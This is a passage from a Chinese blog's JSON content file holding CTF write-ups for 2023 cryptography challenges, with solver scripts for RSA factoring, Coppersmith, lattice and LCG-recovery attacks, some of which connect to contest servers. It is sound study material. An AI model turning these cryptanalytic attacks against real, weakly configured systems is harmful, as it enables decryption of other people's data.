Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
1 lines (1 loc) · 878 KB

File metadata and controls

1 lines (1 loc) · 878 KB
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
{"meta":{"title":"ZimaBlue's Blog","subtitle":"Some thoughts","description":"","author":"ZimaBlue","url":"http://example.com","root":"/"},"pages":[{"title":"文章分类","date":"2019-07-29T02:13:21.000Z","updated":"2021-11-21T10:49:38.000Z","comments":false,"path":"categories/index.html","permalink":"http://example.com/categories/index.html","excerpt":"","text":""}],"posts":[{"title":"Hello World","slug":"hello-world","date":"2023-09-03T14:18:37.946Z","updated":"2021-11-22T05:07:50.000Z","comments":true,"path":"2023/09/03/hello-world/","link":"","permalink":"http://example.com/2023/09/03/hello-world/","excerpt":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.","text":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new "My New Post" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment","categories":[],"tags":[{"name":"Hello World","slug":"Hello-World","permalink":"http://example.com/tags/Hello-World/"}]},{"title":"随缘刷题(二)","slug":"随缘刷题-二","date":"2023-05-02T07:48:23.000Z","updated":"2023-05-03T04:30:42.000Z","comments":true,"path":"2023/05/02/随缘刷题-二/","link":"","permalink":"http://example.com/2023/05/02/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%BA%8C/","excerpt":"​ 一些四月做的杂题,尽量记录一下,保持良好习惯。","text":"​ 一些四月做的杂题,尽量记录一下,保持良好习惯。 贵阳大数据及网络安全精英对抗赛-解题赛math首先需要通过POW: 1234567891011121314151617181920212223242526272829from pwn import *from hashlib import *import stringimport itertoolstable = string.ascii_uppercase + string.ascii_lowercase + string.digitsio = remote('39.107.81.36',65241)def proof(): s1 = io.recvline() print(s1) p1 = s1.find(b'X+') p2 = s1.find(b')') p3 = s1.find(b'== ') s = s1[p1+2:p2] h = s1[p3+3:-1] h = h.decode() print(h) print(s) for i in itertools.product(table, repeat=4): d = ''.join(i).encode() dd = d + s #print(dd) if sha256(dd).hexdigest() == h: print(d) io.sendline(d) #io.interactive() break 后面部分解法不唯一,可以用两个式子建立方程,sagemath直接求解求p和q,也可以通过推导式子的关系来做,这里记录方法二。 已知$p^9+q^9…(1)$和$p^3+q^3…(2)$,把(2)式进行三次方和(1)式做差即可得到$3p^3q^3(p^3+q^3)$,这里除以一个(2)式可以求出pq,再利用$p^3+q^3=(p+q)(p^2-pq+q^2)=(p+q)[(p+q)^2-3pq]$和sagemath求解p+q。最后把pq%(p+q)发送到server获得flag。 123456789101112from gmpy2 import *s9 = 2824822169624626054661488626925458420744715781080646942074253083493110409304139573698331220638806746185475842194119961243645804370254606328869920018072689414438851986763034645626556982418990163940800474549193470898195538208390077574728861492183878546810890489530709875694439708304188836872775133284206949916525601873082688977829638863138990316027434787047769932507784217745872371234159638863412009751336370516261263894787945468938670587885217215533551430379370918887017578135901512047635699889591590644728268209911213837545954673959103136577695532350503753325666353616999846273454813736702876968828262577312436890164868139215146941181825104314265142027185641195497429436701158821466597436322426101818844710031297488336024894303790150460476458932731090576824660354020881969224935848618388008509287249786048287099709905361669995934683044400119527112547308946141798312531702089592589519108535371095268166661526029944144811749355534331341058531140340843830280132820250819782775604064279338833095450886869781021370514423225666663969097910935332887127861068226704314810075641777615479058315604743490070494698514916318640565210625873112244649996112730726083223048152494260522865824835075057025248755461487069699219010214934196309822790800505679440651281428272245964425847552725070324370935048163205674057942566606069023173193117188785459966877961255640155226356782264373613291491124970651673222s3 = 2170975452570130427181048521695873973135933481372313804498232310176782170227124595928130478815483294370924323759914604172695746976894120890757779825855362817255229290661676271054758017616180660951572648811631474401996380573736869074007533444837272191850638568203334900550339868176862783180156627459202829081595794230688694799962290853974633400675886602057846186352130394606371882689934371132063210289099864922945499792531454940004181032574377548535600071749073142sub = (pow(s3,3) - s9)//(3*s3)pq = iroot(sub,3)[0]print(pq)pq = 104382446543490642967811678517220436436716778415457395457593714868883339184762950121395070723630584112101307457040293771100904440354905920406281214367055888699798428085190446368682575243053002296287183024620331778956869409649373650981057783610236974465359326825472347978830890939849109024750348290567119465481P.<x> = PolynomialRing(ZZ)f = x * (x ^ 2 - 3 * pq) - s3pplusq = f.roots()[0][0]print(pq % pplusq) childrsa前一半给了P+Q的高位gift,可以把gift直接当作P+Q来用,解方程得到P的高位,然后再来一次P高位的copper恢复P,解出hint: 1234567891011121314151617181920212223242526import gmpy2from Crypto.Util.number import *gift = 112012823249741273956420414320152024086394551241563686416444057368708038459572554871491781707278127933195689073127882065060125127295041489653572915729848455155059117821290550157606860744547N = 19913283586978731272870374837854045562790864804312115658302463830117436116219931849180682454814957654994095500743161455669517742683196683945049694888375426558735311269294662060482717191409995553476857418604462748567614908456839975140435522714312533340013676955820372105156740228641356206825881138276471973278761948406726062399175269553184359236859175084438349221553915085882218661560890322526503741457647907788204833926214096369428913779871365689037671018942683561649187089844083798834324075157252488088496084629641115161544547506935703532950490109236586524242732310854674446718076810611730874295399180178401471353663enc_hint = 13605762329549698957586626266580933128225639142810971158632386694900212152297364700673906983331081843360581227221052403163762155206266035280442283924005142717129467351643173282810669982201476798388553001056498736307588260706475327062302787323877507524036357644241120006072323797778327893834792299939570334886948188364597473931268889437417695532862093912649528155151390080600081199337965649892379699786628095487656690228838497716512853509768997296826487263776776447496125752546322173589223915740715451543895861668143819159937998988611022766833424669076863898157258297885102980961819003128529680884480390557024888414518n = 98394377912970161077976095071716071520245470884522650898371541866651139965831581427336428521179335097560338145643418890363050369233502530295868251106114979969844387393758147627569985743852463470545138002189902685566590889175140517151122304528973863485700142820829052897139853465497289644064298161242772703289c = 73440769815335471983607426365687905918721184275652299429416892828899873930224614597826204961136670712832234285387297735959592122505613951335959593105045789810808172640134939607018894726831927984520480432707238536268054572649912957275921796939059679116900910403261478040783178268712136617053467195749630152736e = 65537RF = RealField(2048)# 设一个2048比特的未知数X = polygen(RF)f =X*((gift<<400)-X) - NP = int(f.roots()[1][0])P_high = (P<<430)>>430PR.<x> = PolynomialRing(Zmod(N))f1 = x + P_highx0 =f1.small_roots(X=2^430, beta=0.4)[0]P1 = P_high+x0print(f"P = {P1}")Q =N//int(P1)print(f"Q = {Q}")phi = (P1-1)*(Q-1)d = gmpy2.invert(e,gmpy2.mpz(phi))hint = pow(enc_hint,d,N)print(f"hint = {hint}") 后一半是已知p低位攻击,但最右端5位未知,考虑爆破并构造copper: 12345678910111213for low in range(2 ^ 5): try: PR.<x> = PolynomialRing(Zmod(n)) f = x * (2^350) + hint * 2 ^ 5 + low f = f.monic() k = 512 - 350 root = int(f.small_roots(X=2^k, beta=0.4)[0]) p = root * 2^350 + hint * 2 ^ 5 + low if gcd(n,p) > 1: print(p) break except: continue 求出p以后分解n解密即可。 还有一种解法是需要利用论文里的结论: 这里的条件很容易被满足,因此先求P的大致值再做一次高位copper攻击即可,注意卡了下界。 12345678910111213141516171819202122232425262728293031323334353637383940414243from Crypto.Util.number import *import gmpy2N = 19913283586978731272870374837854045562790864804312115658302463830117436116219931849180682454814957654994095500743161455669517742683196683945049694888375426558735311269294662060482717191409995553476857418604462748567614908456839975140435522714312533340013676955820372105156740228641356206825881138276471973278761948406726062399175269553184359236859175084438349221553915085882218661560890322526503741457647907788204833926214096369428913779871365689037671018942683561649187089844083798834324075157252488088496084629641115161544547506935703532950490109236586524242732310854674446718076810611730874295399180178401471353663n = 98394377912970161077976095071716071520245470884522650898371541866651139965831581427336428521179335097560338145643418890363050369233502530295868251106114979969844387393758147627569985743852463470545138002189902685566590889175140517151122304528973863485700142820829052897139853465497289644064298161242772703289gift = 112012823249741273956420414320152024086394551241563686416444057368708038459572554871491781707278127933195689073127882065060125127295041489653572915729848455155059117821290550157606860744547enc_hint = 13605762329549698957586626266580933128225639142810971158632386694900212152297364700673906983331081843360581227221052403163762155206266035280442283924005142717129467351643173282810669982201476798388553001056498736307588260706475327062302787323877507524036357644241120006072323797778327893834792299939570334886948188364597473931268889437417695532862093912649528155151390080600081199337965649892379699786628095487656690228838497716512853509768997296826487263776776447496125752546322173589223915740715451543895861668143819159937998988611022766833424669076863898157258297885102980961819003128529680884480390557024888414518c = 46814170527248885168246756812210153119486966489687247805498130392493821903069671992391504575922384362815525403472565575725937709774229597491391051813804042471442431633524349982475366135612679353929043843989912068628511038187760032595582149371542884316315767726222944205184200050316281081588507579737917836748e = 65537s=int(gift<<400)p_=int((s+gmpy2.iroot(s^2-4*N,2)[0])//2)PR.<x>=PolynomialRing(Zmod(N))f2=p_+xroot=f2.small_roots(X=2^450,beta=0.45,epsilon=0.05)P=int(p_+root[0])Q = N//Passert N == P * Qphi1 = (P-1) * (Q-1)d1 = inverse(e,phi1)hint = pow(enc_hint,d1,N)print(hint)hint = 52025683076044044599992400773221280746229263847635117575567345877303750178218448109638198217351426116857for low in range(2 ^ 5): try: PR.<x> = PolynomialRing(Zmod(n)) f = x * (2^350) + hint * 2 ^ 5 + low f = f.monic() k = 512 - 350 root = int(f.small_roots(X=2^k, beta=0.4)[0]) p = root * 2^350 + hint * 2 ^ 5 + low if gcd(n,p) > 1: print(p) break except: continue p = 12875389203118258668614951298149797909799840999471786801115807021855220020135243368328555419081024867855094746702504569598236375581106125211941848589901621q = n//pphi2 = (p-1)*(q-1)d2 = inverse(e,phi2)print(long_to_bytes(int(pow(c,d2,n)))) 线性代数已知S=L.U,那么$L^{-1} S^2 L (LU*L)^{-1}=U$,求出U以后通过另一个代换关系可求出R。利用U和R就可恢复A了,具体地: A = X- R = S^{-1}Y-R = U^{-1}E - R利用A和encrypt的逻辑倒回去即可恢复flag,exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071p = 71alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'def decode_(M): m = ['*' for _ in range(24)] for k in range(24): i, j = 5 * k // 11, 5 * k % 11 m[k] = alphabet[M[i, j]] return ''.join(m)f = open('out.txt','r')E = []for i in range(11): tmp = f.readline().strip()[1:-1].split(' ') lis = [] for j in tmp: try: lis.append(int(j)) except: continue E.append(lis)LUL = []f.readline()for i in range(11): tmp = f.readline().strip()[1:-1].split(' ') lis = [] for j in tmp: try: lis.append(int(j)) except: continue LUL.append(lis)LS2L = []f.readline()for i in range(11): tmp = f.readline().strip()[1:-1].split(' ') lis = [] for j in tmp: try: lis.append(int(j)) except: continue LS2L.append(lis) RS8 = []f.readline()for i in range(11): tmp = f.readline().strip()[1:-1].split(' ') lis = [] for j in tmp: try: lis.append(int(j)) except: continue RS8.append(lis)E = matrix(Zmod(p),E)LUL = matrix(Zmod(p),LUL)LS2L = matrix(Zmod(p),LS2L)RS8 = matrix(Zmod(p),RS8)U = LS2L * LUL.inverse()print(U)LULU = LUL * UR_ = RS8 * (LULU ^ 4).inverse()R = R_.inverse()A = U.inverse() * E - Rprint('flag{%s}' % decode_(A)) eezzrrssaa利用tmp = prng2.next() * q + prng1.next()除以q可以恢复prng2的序列,模q则可以得到prng1的序列,但由于get_prime函数存在if判断,序列的两个输出之间可能跳过很多个非素数。发现prng1给了a和b,通过序列1可以计算每两个数据之间间隔的个数,再利用序列2的关系建立方程,grobner basis求解恢复prng2的a和b,然后利用get_prime再跑几轮得到rsa的私钥解密。exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from sage.all import *q = 863666614243448299685073534539782091614466038667659466359664255833879357401208752356758391473753149783695523347ps = [488430779430824599064935338391249442829022539899115535143196485163487049206340136142789020350176476554441378462595965038290365842362034176672340569719593003574222248527447206361459719954322885881075726676950555671635007363, 707157149197462658139117084378634522562212403870035237598970809858394732217372944239689355077884840011520921058759306333833289658731807522052892377679354636501446734633867023331470805974187027036109531714774435994689042891, 476172773176400166870512700278283739900716339392176146031791100542596627419155254113738721222559386964568077259931246639803960023216418997484355347182274626554844693011339867671881591249587444088969603398209425951467440211, 479577456885290037281759580853233626951314430312455485422558946021203602708559915552877926123425413442096439066002524196474514162220000152373758925097140843218665566655451970747063255562540421337155353658793225970423042099]n = 98507292107212647629392277192521724876575060525397166586602724341772322834661685719879043139101436908036967520130509456130010632959287915661915441539615555345261656834100254232656609022587219863738542204349757544278313022268849986380405350778976502504598388632375506019980481343421510001650112826277323670706717869878490374078543128198589764240329950804782453481144228576858436696625100959717702337809834581369797601972108713612318371100605389c = 57773774305129316009141892175661507569534831447382854914588401185097291538023184369651537398951570363918970263297625149448254614479110835192103043721312687685309489008584881189077640538284919592229456061921760452134520765924458040140450750863491592935761079322474155890093610865852109521471075002695928101302724254321097314555582345987979625286958861654447780330651520542323214097640450289283886871665487690407096815701340627706657525543320274pr1 = []pr2 = []a1 = 202320232023b1 = 320232023202for i in ps: pr1.append(i%q) pr2.append(i//q)count = []tmp = pr1[0]test = []for i in range(1000): tmp = (a1 * tmp + b1)%q test.append(tmp)for i in pr1: if i in test: print(test.index(i))F = []s = pr2[0]R.<a,b>=PolynomialRing(Zmod(q))for i in range(78): s = a * s + bF.append(s - pr2[1])s1 = pr2[1]for i in range(103-78): s1 = a * s1 + bF.append(s1-pr2[2])s2 = pr2[2]for i in range(672-103): s2 = a * s2 + bF.append(s2-pr2[3])res=Ideal(F).groebner_basis()print(res)a = -721474313686950040760456718395855289332361081440581115357964297160374075412604063880198191814907640385556239775 % qb = - 42522514490869169124681320640539356074221591805568832332992800925663834398026485545017374651679305179842368739 % q 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from Crypto.Util.number import *import randomclass PRNG: def __init__(self, a, x, b ): self.a = a self.x = x self.b = b def next(self): ret = self.x self.x = (self.a * self.x + self.b) % q return retdef get_prime(prng1,prng2,q): while 1: tmp = prng2.next() * q + prng1.next() if isPrime(tmp): return tmpq = 863666614243448299685073534539782091614466038667659466359664255833879357401208752356758391473753149783695523347ps = [488430779430824599064935338391249442829022539899115535143196485163487049206340136142789020350176476554441378462595965038290365842362034176672340569719593003574222248527447206361459719954322885881075726676950555671635007363, 707157149197462658139117084378634522562212403870035237598970809858394732217372944239689355077884840011520921058759306333833289658731807522052892377679354636501446734633867023331470805974187027036109531714774435994689042891, 476172773176400166870512700278283739900716339392176146031791100542596627419155254113738721222559386964568077259931246639803960023216418997484355347182274626554844693011339867671881591249587444088969603398209425951467440211, 479577456885290037281759580853233626951314430312455485422558946021203602708559915552877926123425413442096439066002524196474514162220000152373758925097140843218665566655451970747063255562540421337155353658793225970423042099]n = 98507292107212647629392277192521724876575060525397166586602724341772322834661685719879043139101436908036967520130509456130010632959287915661915441539615555345261656834100254232656609022587219863738542204349757544278313022268849986380405350778976502504598388632375506019980481343421510001650112826277323670706717869878490374078543128198589764240329950804782453481144228576858436696625100959717702337809834581369797601972108713612318371100605389c = 57773774305129316009141892175661507569534831447382854914588401185097291538023184369651537398951570363918970263297625149448254614479110835192103043721312687685309489008584881189077640538284919592229456061921760452134520765924458040140450750863491592935761079322474155890093610865852109521471075002695928101302724254321097314555582345987979625286958861654447780330651520542323214097640450289283886871665487690407096815701340627706657525543320274print(len(ps))pr1 = []pr2 = []a1 = 202320232023b1 = 320232023202a = -721474313686950040760456718395855289332361081440581115357964297160374075412604063880198191814907640385556239775 % qb = - 42522514490869169124681320640539356074221591805568832332992800925663834398026485545017374651679305179842368739 % qprint(a)print(b)for i in ps: pr1.append(i%q) pr2.append(i//q)prng1 = PRNG(202320232023,pr1[3],320232023202)prng2 = PRNG(a, pr2[3], b)p_ = [get_prime(prng1,prng2,q) for _ in range(4)]pp = p_[-1]qq = p_[-2]assert pp * qq == ne = 0x10001phi = (pp-1)*(qq-1)d = inverse(e,phi)print(long_to_bytes(pow(c,d,n))) 某不知名小比赛task612345678910111213141516171819202122232425262728from Crypto.Util.number import *from hashlib import md5p = getPrime(512)q = getPrime(512)r = getPrime(512)e = 2023a = pow(p+q,e,p*q)b = pow(p+r,e,p*r)o = pow(q+e,p,p*q)s = pow(r+e,p,p*r)flag = "flag{%s}"%md5(str(p+q+r).encode()).hexdigest()flag_md5 = md5(str(flag).encode()).hexdigest()print("flag_md5 = ",flag_md5)print('a =',a)print('b =',b)print('o =',o)print('s =',s)'''flag_md5 = a6e1f5c86223607ab196d5ed36cb1eb8a = 33022028261473232777495374489369984051173051765914698583738518002899904080523156837934749116742046277602367384435566675571554308103705904368259935553616909439053270303487771097937681411464233154789299798806729983958502682142190437300710333776343215351258409122741296694039365121701417931039351706449620933965b = 81094699539404597343145361125240498679809760332244536460451475832258379562399932681242912311485592104271252217309012830898060896041053659829385735202726553288600509493460180497835520339585127754273226762440611089795375598402111645618656148576588630597445547241467407938373779128315636192164727397109721371821o = 84271446189918339833844652348525276763886039158109929437916837238145526361383913885452712470249189911870483017509012824863702488719752612973997881394827167428837538802085223497834025041680433523842549305188960285145390142799963207261252716937469861672320881012026095221908641651584348583973984309599037601834s = 15123960887720641582473419411098607262340676763761583670149167561153634913307686118729176007021398862293975304379052309333724796000639317958549447559668843718134962233429595288688678289005300880495334503517799794958574524554067587882588738019194484329080120346211069604574355250202792739546620819511246051563''' 根据已知算式推导有: $(o-2023)^e\\;mod\\;p=q^e$,$a\\;mod\\;p=q^e$,$(s-2023)^e\\;mod\\;p=r^e$,$b\\;mod\\;p=r^e$ 因此只要把$q^e和r^e$消去就能用gcd求出p,然后利用p再去求q和r,注意需要用md5值爆破一下。exp: 1234567891011121314151617181920212223242526272829from Crypto.Util.number import *from gmpy2 import *from hashlib import md5flag_md = 'a6e1f5c86223607ab196d5ed36cb1eb8'a = 33022028261473232777495374489369984051173051765914698583738518002899904080523156837934749116742046277602367384435566675571554308103705904368259935553616909439053270303487771097937681411464233154789299798806729983958502682142190437300710333776343215351258409122741296694039365121701417931039351706449620933965b = 81094699539404597343145361125240498679809760332244536460451475832258379562399932681242912311485592104271252217309012830898060896041053659829385735202726553288600509493460180497835520339585127754273226762440611089795375598402111645618656148576588630597445547241467407938373779128315636192164727397109721371821o = 84271446189918339833844652348525276763886039158109929437916837238145526361383913885452712470249189911870483017509012824863702488719752612973997881394827167428837538802085223497834025041680433523842549305188960285145390142799963207261252716937469861672320881012026095221908641651584348583973984309599037601834s = 15123960887720641582473419411098607262340676763761583670149167561153634913307686118729176007021398862293975304379052309333724796000639317958549447559668843718134962233429595288688678289005300880495334503517799794958574524554067587882588738019194484329080120346211069604574355250202792739546620819511246051563t1 = pow(o-2023,2023) - at2 = pow(s-2023,2023) - bp = gcd(t1,t2)print(p)q = (o-2023) % pr = (s-2023) % pfor i in range(100): for j in range(100): q_ = q + p * i r_ = r + p * i flag = "flag{%s}"%md5(str(p+q_+r_).encode()).hexdigest() flag_md5 = md5(str(flag).encode()).hexdigest() if flag_md5 == flag_md: print(flag) print(flag_md5) break task141234567891011121314151617181920from Crypto.Util.number import *from hashlib import md5p = getPrime(1024)q = getPrime(1024)e = 0x1000000001n = p*qphi = (p-1)*(q-1)d = inverse(e,phi)info = p+q+dflag = "flag{%s}"%(md5(str(p).encode()+str(q).encode()).hexdigest())print("info = %d"%info)print("n = %d"%n)print("e = %d"%e)print("flag_md5 = %s"%md5(flag.encode()).hexdigest())'''info = 8624427976171269462118041236131860880353185724611115567769031391985212205334299206262416050893790496280487822633821896510164798860649610314643858720250778483148210218901983626065047187632632798657803619845039340275071550929875181405670087477995477977547400586054837874496784983655506143028794707073522709491957889389497112122398129617977201085938125308438851338856122300458905698778054527484342442183812543835926984418962888390266572594876953921925983459356710496966798344822306906157437194702449649080264101152002664874120624149638832121202508620869036457251193215517734116478672807574868697528296087842179376581201n = 14646253358612854593317963725110988740491254060490903007910848037596846774729618833633231941531333403744010619378997475183337224450843648913131458780615463900296389211449668911282991115171184653170167906062913921232964400561146792601325354025107183172114144784169596208877805222213699601989143210211038189598547685022247536976806315807057890676464430811813960217168432160091360752223667140817878444045222127700744845352705982947205350416033568820758533074931871448795787684898779195153103174867673372027411790194468629972797561036156241378564908390993235826771493427813472825015487027549142331247821510473393248474487e = 68719476737flag_md5 = 62f2189c09660f7c68ecbbf2ad7c1ec8''' 由于p+q-n-1 = -phi,info - n - 1 = d-phi。已知e,d分解n是比较容易的,也就是已知k*phi分解n,那么这里对(d-phi)乘上e就能得到k.phi,直接打即可。 123456789101112131415161718192021222324252627282930from hashlib import *from gmpy2 import *import gmpy2import randomdef getpq(n,e,d): while True: k = e * d - 1 g = random.randint(0, n) while k%2==0: k=k//2 temp=gmpy2.powmod(g,k,n)-1 if gmpy2.gcd(temp,n)>1 and temp!=0: return gmpy2.gcd(temp,n)check = '62f2189c09660f7c68ecbbf2ad7c1ec8'info = 8624427976171269462118041236131860880353185724611115567769031391985212205334299206262416050893790496280487822633821896510164798860649610314643858720250778483148210218901983626065047187632632798657803619845039340275071550929875181405670087477995477977547400586054837874496784983655506143028794707073522709491957889389497112122398129617977201085938125308438851338856122300458905698778054527484342442183812543835926984418962888390266572594876953921925983459356710496966798344822306906157437194702449649080264101152002664874120624149638832121202508620869036457251193215517734116478672807574868697528296087842179376581201n = 14646253358612854593317963725110988740491254060490903007910848037596846774729618833633231941531333403744010619378997475183337224450843648913131458780615463900296389211449668911282991115171184653170167906062913921232964400561146792601325354025107183172114144784169596208877805222213699601989143210211038189598547685022247536976806315807057890676464430811813960217168432160091360752223667140817878444045222127700744845352705982947205350416033568820758533074931871448795787684898779195153103174867673372027411790194468629972797561036156241378564908390993235826771493427813472825015487027549142331247821510473393248474487e = 68719476737l = infod = info - n - 1p = getpq(n,e,d)print(p)q = n//passert p*q ==nflag = "flag{%s}"%(md5(str(p).encode()+str(q).encode()).hexdigest())print(flag) 2023数字中国.数据安全产业人才能力挑战赛初赛math_examchallenge1由于 $p > q$,故 leak = n+p \\mod (q-1)\\\\ = p * (q-1+q) + p \\mod (q-1)\\\\ =2p \\mod (q-1) = 2 p - 2(q-1) = 2(p-q+1)故 $\\frac{leak}{2} + n= (p-1)(q-1)+2p \\equiv 2 \\mod (p-1)$ 由费马小定理得 $2^{k(p-1)} \\equiv 1 \\mod p$ 所以有 $2^{\\frac{leak}{2} + n-2} -1 \\equiv 0 \\mod p$,由此得到$p$ 的一个倍数,与$n$ 求最大公因数得到$p$,从而分解 $n$,计算出flag1,此部分exp如下: 1234567891011121314151617from Crypto.Util.number import *# -------- challenge 1 --------e = 65537c = 112742443814287255411540092433156061065388404049949520959549377871297566383025041892192679147481155020865118811016470498351633875090973546567374001852295013083192495299811476604405637385307524194793969533646755764136014187430115618114840780368311166911900457224593131166970676797547489278410997707815915932756n = 121127425328043404860413278637978444801342472819958112597540188142689720655042880213001676368390521140660355813910726809125567752172921410143437643574528335234973793653775043030021036875866776532570781661875022102733555943967261003246543180935987772711036868216508554536086688819118597075508026787867088355603leak = 216638862637129382765636503118049146067015523924032194492700294200289728064297722088882791754351329407138196573832392846467607399504585045028165699421278# leak = 2(p-q+1)tmp = leak//2 + n - 2kp = pow(2, tmp, n)p = GCD(kp-1, n)q = n//pphi = (p-1) * (q-1)d = inverse(e, phi)flag1 = long_to_bytes(pow(c, d, n))[:14]print(flag1)# b'flag{9dc4b6dd-' challenge2$leak = d + p+q$,故有 (n+1-leak) e +1 \\\\ = ((p-1)(q-1)-d) e + 1\\\\ \\equiv -ed + 1 \\mod (p-1)(q-1) \\equiv 0 \\mod (p-1)(q-1)故 $(n+1-leak) e +1$ 是 $\\phi(n) = (p-1)(q-1)$ 的倍数,在这里与 $(p-1)(q-1)$ 等价,故可以直接计算出 $d$ 从而得到flag,此部分exp如下: 123456789101112from Crypto.Util.number import *# -------- challenge 2 --------e = 65537c = 7964477910021153997178145480752641882728907630831216554750778499596527781702830885213467912351097301767341858663701574005489585561370961723264247818377063081744522471774208105250855114831033452448184392499682147532404562876275189577321587660597603848038824026981539659156304028998137796242331160312370913038n = 140571013522095816880929287025269553867630639381779595547026503691829940612178900269986625350464874598461222087427155791855120339533208468121389480964471710028253589422629569889402475311387750348466199387760629889238062977271925350490110043385800605640905324122017637306715108727700910035925728362455954862209leak = 58442382248753295429370894053397615609981110383986887405127350139482893508400422595729520437678203735054593866306478994471465948872565590901376309380029015549809468112086393107585011072503638322671608471684607214064187044372418770555236721845694224676090744181562673509234801011420696349507624867568099759003kphi = -((leak-n-1) * e - 1)d = inverse(e, kphi)flag2 = long_to_bytes(pow(c, d, n))[:14]print(flag2)# b'b162-479c-b087' challenge3由于 $p, q$ 互素 p^q = p p^{q-1}\\\\ p^{q-1} \\equiv 1 \\mod q\\\\ \\Rightarrow p^ q = p + k_1pq\\\\ q^p = q q^{p-1}\\\\ q^{p-1} \\equiv 1 \\mod p\\\\ q^ p = q + k_2qp\\\\故 $p^q + q^p \\equiv p+q \\mod n$,故 $\\phi(n) = (p-1)(q-1) -leak+1$,从而可以求出$d$,继而得到flag3,此部分exp如下: 1234567891011121314from Crypto.Util.number import *# -------- challenge 3 --------e = 65537c = 54161995127842474543974770981473422085334044100057089719350274921419091368361244533281599379235907845996678762379778310924192757650322930707785543132446159092950451255660204858292974657119337026589911330412367633761103944916751660957776230135927005700707688661350641600954072696774954805514477330339449799540n = 88207747624007183083381863279444163105330473097729276113333026679597864128605555600000789783468271680476780366740448641311570797876037993255307716167149079618302706650018518487351604778857406170722209469765782625409279109832638886179654096975665134276856272488090272822541461702907181545730309689190333058151leak = 19596671928335648228117128090384865424885102632642665068992144783391306491716530155291726644158221224616817878768426330717188403310818678195631582453246848phi = n-leak+1d = inverse(e, phi)flag3 = long_to_bytes(pow(c, d, n))[:14]print(flag3)print(flag1 + flag2 + flag3)b'-01d351073d14}' 2023数字中国.数据安全产业人才能力挑战赛决赛easybag背包,但是模比较小,所以用常见的那几个格都打不了,可能的方法有二:一是用babai求解cvp,二是把原来的格子多加一维,放个模数进去规约,这里用的第二种: 12345678910111213141516171819202122232425262728293031p = 94154607166206368507849450076562888867777996786776585204541315115554265673239t= c = 300528310281431128814608316680537971945579270793936168485054801251195415271print(len(t))A = Matrix(ZZ, 66, 66)for i in range(64): A[i,i] = 1 A[i,65] = -t[i] A[64,64] = 1A[64,65] = cA[65,65] = pprint(A.LLL()[0]) from Crypto.Cipher import AESk = (0, -1, 0, 0, 0, -1, 0, -1, -1, -1, 0, 0, 0, -1, -1, -1, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, 0, 0, -1, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, -1, -1)key = ''for i in k: if i: key += '1' else: key += '0'print(len(k))print(hex(int(key,2))[2:])key = bytes.fromhex(hex(int(key,2))[2:])print(len(key))enc = b'Z\\x8b `I\\xa6\\xde\\nF\\x13J\\xf4^1}\\x98*R-[\\x9c\\x851\\xf4\\xeeF\\xea\\xbc$s\\xd8\\xb4F\\xebg\\x86\\x8e\\xb0\\xc9%V\\x12&Rw\\xcc\\n\\xc0'aes = AES.new(key=key * 2,mode=AES.MODE_ECB)print(aes.decrypt(enc)) [NSSRound#11 Basic]确实basic… MyMessage123456789101112131415161718192021from pwn import *from sympy.ntheory.modular import crtfrom gmpy2 import irootfrom Crypto.Util.number import *io = remote('node4.anna.nssctf.cn',28496)#io.interactive()ns = []cs = []for i in range(100): print(i) print(io.recv(16)) io.sendline(b'1') n = int(io.recvline().strip()[3:]) c = int(io.recvline().strip()[9:],16) ns.append(n) cs.append(c)res = crt(ns,cs)[0]flag = iroot(res,127)[0]print(long_to_bytes(flag)) ez_fac1234567891011121314151617c= 3866279781013543205658463982680574789263686965906473424577486426942775694532574930616672988611113833539702690921446200225171584718802440563150487891096712274831420836933939779382822469222602044856724471573453348450920756403685981523107389025461368280902766853394997570763802420010913302243342822394651909187n= 87665217778729524993118310155129480311708534438704150676980835344891979982717119161254489670350577173938239682286759779547789055360697960379769693294306641200724257991678505629369338313581657539655057636732714452287023658150014746541718058750871927050204352584824130972892779877896415568548748364583880371427a0= 9362970563807702423162361787386216886594085863490420184497563324865248429693287404341206766515622648778272030443641712923250846610046357375553046092690266a1= 9362970563807702423162361745963275441706212437133735476965289880825874017106479792816846422940594285630367772490647779230476318907092613021181772527068514b0= 74836747076024432741470938222753940689278814091833170112470104078475118700897724833941621360216319460657128947837095907483b1= 93520964011413593176393772179429258741894666938448164504029535235899813670669478849381259720656022408302270582527720184427from Crypto.Util.number import *from gmpy2 import *e = (n-a0**2)//(b0**2)t = a1*b0 + a0*b1p = gcd(t,n)q = n//pphi = (p-1)*(q-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,n))) ez_signin123456789101112131415161718192021222324252627282930313233343536num1= 52094189070805820804424069707311784807157194903972872439434677248883216068691427397091287206739227220919493383737034374096848668365439528625160682561322951470871293036263842642491522909243273773919260520717204606422128387000039062461612208327799165806265429050467490481951704165618350489409782368149856166950num2= 44228448973880794092811557437884460378759412017840065082804534133889768961575815311337323700431529464429743530485906039883376717153841258291258609059826848063127477487186404659693566117135799418568868159980514887386022167834037372135938523336342287230249271027079949968219310533046256883639803116927790020165n= 98738932373188046024686505904611091324755905262596386173576767806810454582969932160298324350291905371874108126768204348061815027538651811193755634671810585929501964007542830297837035700490365176329686118281557209774930455457390777277376532139997885130229922205947097280963616902661679441980114384290036052957c= 